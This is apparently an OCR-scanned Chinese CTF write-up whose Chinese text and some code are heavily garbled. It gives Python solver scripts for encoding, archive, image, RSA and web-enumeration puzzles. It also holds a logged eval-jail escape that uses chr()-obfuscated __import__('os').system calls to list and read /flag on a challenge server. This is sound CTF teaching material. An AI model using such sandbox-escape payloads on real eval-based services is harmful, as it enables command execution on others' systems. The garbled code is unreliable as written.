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1. def swap_adjacent_hex(file_path, output_path):

2 try:

3 with open(file_path, 'rb') as f:

4 file_data = f.read()

5. # RSN B ARy N T

6 hex_data = file_data.hex()

7 # R NHER AT AR R AR R, DMEAT

8 if len(hex_data) % 2 != 0:

9 raise ValueError ("I fFNEANTE, TIEIHATE L")


http://cnrail.geogv.org/zhcn/

10. # SEHARB 7N i s

11. swapped_hex = ''.join([hex_data[i+2:i+4] + hex_data[i:i+2] for i in range(@, len(he
x_data), 4)])

12. # KR oS B R B SR O

13. swapped_bytes = bytes.fromhex(swapped_hex)

14. # RS RS N S

15. with open(output_path, 'wb') as f:

16. f.write(swapped_bytes)

17. print (f" 30 IIALEE, JE0R4F N {output_path}™)

18. except Exception as e:

19. print (f"ACFESCAE T {e}")

20. # fHHRHB

21. input_file = 'input_file.bin' # f@ A\ LIkt
22. output_file = 'output_file.bin' # #it CIF#1%
23. swap_adjacent_hex(input_file, output_file)
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1. import base64

2. def decode_until_flag(encoded_data, flag="flag"):

3. decoded_data = encoded_data

4. iterations = 0@

5. while True:

6. try:

7. # Base64 fiili%

8. decoded_data = base64.b64decode(decoded_data).decode('utf-8"')
9. iterations += 1

10. print(f"%f {iterations} Xf#l%: {decoded_data}")
11. # AN as flag

12 if flag in decoded_data:

13. print(f"#FFrE ' {flag}', MERLLH! ")


https://products.groupdocs.app/zh/scanner/scan-barcode

14. break

15. except Exception as e:

16. print(f"fAIBRM: {e}")
17. break

18. return decoded_data

19. # RPN (VI4h Base64 Huh %)

20. encoded_string

21. decoded_result = decode_until_flag(encoded_string)
22. print(f" &4 HIS45 R {decoded_result}")

% 26 IKfERY:
V1ZiMVYyTkhTa2hWYTFKWFVsWnZNMXBXVWtOT1ZtZDVVbTVZzWVZacWIIV1pNakZYWVVkU1IwOVhiR2x
OTW5jMQ==

% 27 MRS VWc1V2NHSkhValIXUulZvM1pWUKNNVmd5UmSsYVZgbHVZM FXYUdSRO9XbGINMnc1
% 28 KfiEfS: UWSWcGIHUKRWRVO3ZVRCMVgyRnlaVjluY21WaGRGOW1iM2w5

% 29 RARFS: QnVpbGRDVEZ7eTB1X2FyZVOncmVhdF9ib319

% 30 XM#iY: BuildCTF{y@u_are_great_boy}
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import zipfile

import tarfile

import os

import shutil

def extract_file(file_path, extract_dir):

O 00 N O U1 A W N B

ARSI BIEE H 3, IR B 1 DR AN 75 N ST

=
()

if file path.endswith('.zip'):

=
=

with zipfile.zZipFile(file_path, 'r') as zip_ref:
if zip_ref.infolist()[@].flag bits & Ox1: # A EEINE
print(f"3ff {file path} RINFEMELHL, TEME. ")
os.system("pause")

return False, True # RFEINZEirE

B R R R R
o U A W N

else:

=
~N

zip_ref.extractall(extract_dir)
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elif file_path.endswith(('.tar.gz', '.tar', '.tgz')):
with tarfile.open(file_path, 'r') as tar_ref:
tar_ref.extractall(extract_dir)
else:
return False, False # UIRARCHMNELEMKN, i&H False
return True, False
def find_compressed_file(directory):
AR T H 5 1) R 4 S
for file_name in os.listdir(directory):
full_path = os.path.join(directory, file_name)
if os.path.isfile(full_path) and file_name.endswith(('.zip', '.tar', '.tar.gz',
gz')):
return full_path
return None
def extract_nested_compressed_files(file_path, output_dir):
BIARERE RS, H BB R A S BB RN A S48
temp_dir = os.path.join(output_dir, 'temp_extracted') # IuiJfifE4sH 3
os.makedirs(temp_dir, exist_ok=True)
current_file = file_path
while True:
# MR SRR B 3
print(f"IE7EfR)IE: {current_file}")
extract_dir = os.path.join(temp_dir, os.path.basename(current_file).replace('.",
"))
os.makedirs(extract_dir, exist_ok=True)
success, is_encrypted = extract_file(current_file, extract_dir)
if is_encrypted:
print(f" & KE4E SR E: {current_file}")
break
if not success:
print (f" AR SO B O IR RIS E—)Z: {current_file}")
break
# FEMRES H S SR T — AN R4S
next_compressed_file = find_compressed_file(extract_dir)
if next_compressed_file:
current_file = next_compressed_file
else:
# WAHBEZMEAE SO, BN AR R e A
print (f" AR SO T2 {extract_dir}")

.t



65. break

66.

67. # JH I H

68. shutil.rmtree(temp_dir)

69.

70. if __name__ == "__main__

71. # I AE BB 4 (0 B A2

72. compressed_file = input("IE% N EMEM RS ") . strip()
73.

74. # REGE L H

75. output_dir = input("IEHIAMEHIEZEE: ") .strip()

76.

77. # R H R SR, AR Bl

78. if not os.path.exists(output_dir):

79. os.makedirs(output_dir)

80.

81. if os.path.exists(compressed_file):

82. extract_nested_compressed_files(compressed_file, output_dir)
83. else:

84. print ("SR, iHREKE. )
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Fft 1
1. import os
2. from PIL import Image
3.
4. def stitch_images(input_dir, output_path):
5. # 58 PHERB RS
6. width, height = 33, 33
7. img_width, img_height = None, None
8.
9. # IRHUITA B SO A4 R HE e
10. image_files = sorted([f for f in os.listdir(input_dir) if f.endswith('.jpg')],
11. key=lambda x: int(x.split('.')[0])) # K FifFHT
12.
13. print ("B A0 {image_files}") # RHTEN
14.
15. AR 2 1R
16. if 1en(1mage_F11es) < width * height:
17. raise ValueError(f"FHEZE/b {width * height} KE A, HHHRA {len(image_files)} k.


https://dencode.com/string/base45

18.
19. # REUCEEK BRI RN (RITE BUE RS A RD

20. img = Image.open(os.path.join(input_dir, image_files[0]))

21. img_width, img_height = img.size

22.

23. # QU R AT Pr%

24. stitched_image = Image.new('RGBA', (img_width * width, img_height * height))
25.

26. for index, image_file in enumerate(image_files):

27. img = Image.open(os.path.join(input_dir, image_file))

28. X = (index % width) * img_width

29. y = (index // width) * img_height

30. stitched_image.paste(img, (x, y))

31.

32. # DRArPiEEfE R

33. stitched_image.save(output_path)

34.

35. if __name__ == "_ main__":

36. input_directory = input("EMARAFIEHF: ")

37. output_file = input("¥H M IR E RS (FI181 output.png) @ ™)
38. stitch_images(input_directory, output_file)

39. print("BHEER! ")
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PURHER R A #A A 2 F £ python B3R Hmees
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raceback (most recent call last):
File "/home/ctf/server.py", line 26, in <module>

ans = eval(input_data)
File "<string>", line @

NRBOFA L A, (HR K M 74T &l

5?2 FAERR TARA R 1, WEEEHERIE DR TN rce seowss

R, FMAER LI PHET I A omibiatlas, AN T IR & JE R T BL ne, T2 3l

E ERSS AT T PO AT, A TR EEWAD AW, 4R

Eovi]
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Traceback (most recent call last):
File "/home/ctf/server.py", line 26, in <module>
ans = eval(input_data)
File "<string>", line 1
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SyntaxError: unterminated string literal (detected at line
1)
i/ $ nc 27.25.151.80 42864
UEBMNRET—NNBFERE!
BEXMUMT:
ERC R RO
miE (+) ®WiE (-) ® *) BRiE (/)
UMTREFARHHEF: [3 0, 28, 80]
WA > ABCDEFGH I JKLM
Traceback (most recent call last):
File "/home/ctf/server.py", line 26, in <module>
ans = eval(input_data)
File “"<string>", line 1, in <module>
NameError: name 'ABCDEFGHIJKLM' is not defined
i/ $ R

, BEREANEZEH XS T 248!
iz ( 3
9, 4

N REARBOM=E [72, 51, 16, 42]

BWAER >> local s ()

EZEHEIR! MPOZRLE {'_name__': '_main_"', '__doc__"': N
ne, '__package__ ': None, '__loader__': <_frozen_importlib_g
xternal.SourceFileLoader object at 0x7f56aeaa4970>, '__ speq
__": None, '__annotations__': {}, '__builtins__': <module

builtins' (built-in)>, '__file_ ': '/home/ctf/server.py"',

_ cached__': None, 're': <module 're' from '/usr/local/lib
python3.10/re.py'>, 'random': <module 'random' from '/usr/
ocal/lib/python3.10/random.py'>, 'blacklist': <function bl{
cklist at 0x7f56aeb06cb0>, 'generate_random_numbers': <fung
tion generate_random_numbers at 0x7f56ae998d30>, 'random_n
mbers': [36, 33, 41, 12], 'input_data': 'l oca |l s ()",

ans': {...}}, B2 24.

BwmAER > |

miE (+) ®BiE (-) ®iE (*) BRiE (/)
LTR2EXRNOEE: (74, 41, 11, 62]
HWABX > _ import__

BEHIR) (RNBERR <built-in function __import_ >, BiF

BWMAERL > _import_(chr (111)+c h r (115)).s

ystem()
Traceback (most recent call last):

File "/home/ctf/server.py", line 26, in <module>

ans = eval(input_data)
File "<string>", line 1, in <module>

TypeError: system() missing required argument 'command' (po

s 1)

PRk 2 R I system REN B ETH chr BB RN iAo L 7

import__(chr(111)+c h r(115)).s y s t em(c h r (1@8)+c h r (115))

LA 1s 182 ATVKIAR H RAFAE— A/ Flag BISCHFERE SR, B4 1s /flag KIW AL
H—A flag, WEMAT 1s /flag/flag, A REZ, WBEFsr, HEH cat Bin/flag/flag

SCAEN A, SEIRJG ) flag
BAGRNL L th U4 ST, 18 A {E 30032 75 A 18 5 2408 | |
Mk () BE () RiE (5) BiE (/)
LUTREAXRNEF [11, 54, 14, 32]

BWAERX > _import_(chr (111)+chr (115)).s
ystem(chr (108)+c hr (115)+c h r (32)+c h r (47)+c
h r (102)+c h r (108)+c h r (97)+c h r (103)+c h r (47)+c

h r (102)+c h r (108)+c h r (97)+c h r (103))
1s: cannot access '/flag/flag': Not a directory
EEHR! MOBERE 512, Bin: 24.

WHANS >

WWMAEN > _import
ystem(chr(99) + ch
2) + chr(47) + ¢ h r (102)
chr(103) + ¢ hr (47) +
r (97) + ¢ h r (103))

cat: /flag/flag: Not a directory
_import_(chr(111)+c hr (115)).s

chr(111)+c hr (115)).s
(97) + ¢ h r (116) + ¢ h r (3
¢ hr(108) + ¢ hr(97) +
¢ hr(102) + chr (108) + ch

ystem(chr(99) + chr(97) + chr (116) + ¢ h r (3
2) + chr(47) + c h r (102) + ¢ h r (108) + ¢ h r (97) +
¢ h r(103))
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import base64

def encode(message):
s = bytearray()

for i in message:

x = ord(i) ~ 32
X =X + 16
if x > 255:

X -= 256

s.append(x)
return base64.b64encode(bytes(s)).decode("utf-8")

12.
13.

14.

15

16.
17.
18.
19.

correct = "cmVZXFRzhHZrYFNpjyFjj1VRVWmPV19ij4kgZWo="
. flag = input("Input flag: ")
if encode(flag) == correct:
print("IEMKIFEIZ,awal 11")
else:
print("EZE—S T ,QWQ!!")
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import base64

def decode(encoded_message):
# Decode the base64 message
decoded_bytes = base64.b64decode(encoded_message)

original_message = bytearray()

for byte in decoded_bytes:
# Reverse the addition of 16
x = byte - 16
if x < 0:
X += 256
# Reverse the XOR with 32

original_message.append(x ~ 32)

N R E] 100 NMD S G FEnz i m] DL E #2193 shell, E#% 1s


https://tool.lu/pyc/

16. return original_message.decode("utf-8")
17.
18. correct_encoded = "cmVZXFRzhHZrYFNpjyFjj1VRVWmMPV19ij4kgzZWo="
19. flag = decode(correct_encoded)
20. print(flag)
IBATIXBAASRI A SR flag:
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1. from Crypto.Util.number import long to_bytes

from math import isqrt

# KE p Al q WIME
isqrt(P_squared)

©
1]

isqrt(Q_squared)

# M5 o(n)
phi = (p - 1) * (q - 1)
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. d = pow(e, -1, phi)
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= pow(c, d, n)
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. flag = long_to_bytes(m)
. print(flag.decode())
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import requests

import time

# B:fili URL
base_url = "http://27.25.151.80:34679/index.php?g="

N oo A WN R

# 3 /)7 1 3 300 1) URL



8. for i in range(1, 301):

9. url = f"{base_url}{i}"

10. try:

11. # RORTER

12. response = requests.get(url, timeout=5)

13. # HE SORSID 2 1A 200

14. if response.status_code == 200:

15. print(f"URL: {url} fEHTEIHI")

16. # JTEDm R A

17. print(response.text)

18. else:

19. print(f"URL: {url} R[PIR#MS: {response.status_code}")
20. except requests.exceptions.RequestException as e:
21. print(f"URL: {url} WREMW, Hi%: {e}")

22.

23. # WK, B 1M

24. time.sleep(1)
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Connection: keep-alive
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